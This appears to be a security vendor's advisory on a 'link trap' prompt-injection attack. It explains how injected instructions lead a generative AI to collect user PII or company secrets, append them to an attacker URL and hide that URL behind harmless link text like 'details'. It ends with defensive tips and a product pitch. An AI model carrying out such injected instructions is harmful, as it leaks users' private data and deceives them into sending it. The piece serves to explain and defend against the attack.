Deceptive Link Tactic: AI Prompt Injection Breach

Stage 1: Request Infused with Prompt Injection Material

The AI’s prompt is manipulated to incorporate harmful directives along with the user’s initial inquiry. This injected content typically includes:

1. Tasking AI to Gather Confidential Data:
   1. For publicly accessible generative AI, this could involve retrieving the user’s chat logs, such as Personally Identifiable Information (PII), personal schedules, or plans.
   2. For privately used generative AI, the impact could be more severe. It might entail directing the AI to search for sensitive details like internal passwords or confidential company documents for reference.
2. Providing a Web Link and Instructing AI to Append Acquired Data
   1. The AI could be provided with a URL and instructed to affix the gathered sensitive data to it.
   2. Moreover, it may demand the AI to conceal the actual link behind a clickable text, revealing only harmless phrases like “details” to the user, reducing their suspicion.

Stage 2: Reply Embedding a Tricky URL

At this phase, users may receive an AI response containing a hyperlink that leads to data exposure. Once the user clicks the link, the data is transmitted to a remote attacker. Attackers may craft the AI’s response with these elements to boost the attack’s success:

1. Including Regular Information to Build Trust:
   • To gain user confidence, the AI’s response may include a valid answer along with the user’s query. For instance, in a scenario where the user seeks details about Japan, the AI would offer accurate information, masking any anomalies.
2. Embedding a Link with Confidential Data:
   • The response might conclude with a hyperlink containing confidential data. This link could appear with benign text like “details” or other reassuring terms, enticing the user to click. Upon clicking, the sensitive information is passed to the attacker.

Distinguishing Characteristics

Typically, for a prompt injection assault to have a substantial impact, the AI must possess relevant permissions, like database writing, API calls, interaction with external systems, email sending, or order placement. Consequently, limiting the AI’s permissions is often viewed as a way to manage incidents’ scope during an attack. However, the “link trap” situation deviates from this common perspective.

In the illustrated scenario, even without granting extra permissions to the AI for external interaction and restricting it to basic functions like responding to queries or summarizing information, data leakage can still occur. This attack exploits the user’s capabilities by delegating the final data upload step to the user, who inherently holds higher permissions. The AI’s role remains in dynamically collecting data.

Securing Your AI voyage

Aside from expecting GenAI to incorporate defenses against such threats, here are protective measures worth considering:

• Review the Final Prompt Sent to AI: Check that the prompt lacks any malicious content instructing AI to collect data or create sinister links.
• Exercise Caution with URLs in AI Responses: If the AI’s response includes a URL, exercise added vigilance. Verifying the URL’s legitimacy before clicking is advisable to ensure it originates from a reliable source.

Zero Trust Secure Access

Trend Vision One™ ZTSA – AI Service Access offers robust zero trust access control for public and private GenAI services. It oversees AI usage, scrutinizes GenAI prompts and responses, and filters and analyzes AI content to prevent potential data leaks or insecure outputs in public and private cloud settings. It employs advanced prompt injection detection to mitigate manipulation risks from GenAI services. It implements trust-based, least privilege access control over the internet. ZTSA ensures secure interactions with GenAI services. Additional details regarding ZTSA can be found here.